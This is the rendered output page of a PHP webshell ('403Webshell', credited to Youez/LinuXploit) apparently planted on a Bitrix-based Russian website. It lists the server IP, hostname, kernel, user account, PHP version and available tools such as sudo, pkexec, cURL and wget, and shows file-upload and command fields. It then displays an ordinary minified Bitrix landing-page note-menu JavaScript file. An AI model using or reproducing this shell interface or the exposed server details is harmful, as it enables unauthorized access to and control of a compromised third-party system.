403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/landing/install/js/landing/ui/note/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/landing/install/js/landing/ui/note/menu.min.js
(function(){"use strict";BX.namespace("BX.Landing.UI.Note");var e="/kb/notes/?create=Y";var n="/kb/notes/";var t=null;var a=null;BX.addCustomEvent("Landing:onDemoCreateStart",function(){top.BX.SidePanel.Instance.closeAll();top.BX.onCustomEvent("Landing:onNoteKnowledgeSelect",[0,"knowledge"])});BX.addCustomEvent("Landing:onNoteKnowledgeSelect",function(e,n){BX.ajax({url:"/bitrix/services/main/ajax.php?action=landing.api.note.createNote",method:"POST",dataType:"json",data:{kbId:e,sourceType:a,sourceId:t,scope:n,sessid:BX.message("bitrix_sessid")},onsuccess:function(e){if(e.status==="success"){BX.UI.Notification.Center.notify({content:BX.message("LANDING_JS_NOTE_WIKI_CREATED_MESS").replace("#LINK#",BX.util.htmlspecialchars(e.data["PUBLIC_URL"]))})}else{alert(e.errors[0]["message"])}}})});BX.Landing.UI.Note.Menu=function(){};BX.Landing.UI.Note.Menu.getMenuItem=function(s,o){t=o;a=s;return null;return{text:BX.message("LANDING_JS_NOTE_WIKI_CREATE"),onclick:function(t,a){var s=a.getLayout().item;var o=new BX.Loader({target:s,size:25});a.closeSubMenu();o.show();s.classList.add("menu-popup-item-disabled");BX.ajax({url:"/bitrix/services/main/ajax.php?action=landing.api.note.getTargets",method:"POST",dataType:"json",onsuccess:function(t){s.classList.remove("menu-popup-item-disabled");o.hide();if(t.data.list){if(t.data.list.length>0){var i=[];t.data.list.map(function(e){i.push({text:BX.util.htmlspecialchars(e["TITLE"]),onclick:function(e){a.menuWindow.close();top.BX.onCustomEvent("Landing:onNoteKnowledgeSelect",[e["ID"],e["TYPE"]])}.bind(this,e)})});i.push({delimiter:true});i.push({text:BX.message("LANDING_JS_NOTE_WIKI_CREATE_SELECT"),onclick:function(){a.menuWindow.close();BX.SidePanel.Instance.open(n,{allowChangeHistory:false,cacheable:false})}});if(t.data.canCreateNew){i.push({text:BX.message("LANDING_JS_NOTE_WIKI_CREATE_NEW"),onclick:function(){a.menuWindow.close();BX.SidePanel.Instance.open(e,{allowChangeHistory:false,cacheable:false})}})}a.addSubMenu(i);a.showSubMenu()}else{a.menuWindow.close();BX.SidePanel.Instance.open(n,{allowChangeHistory:false,cacheable:false})}}}})}}}})();
//# sourceMappingURL=menu.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit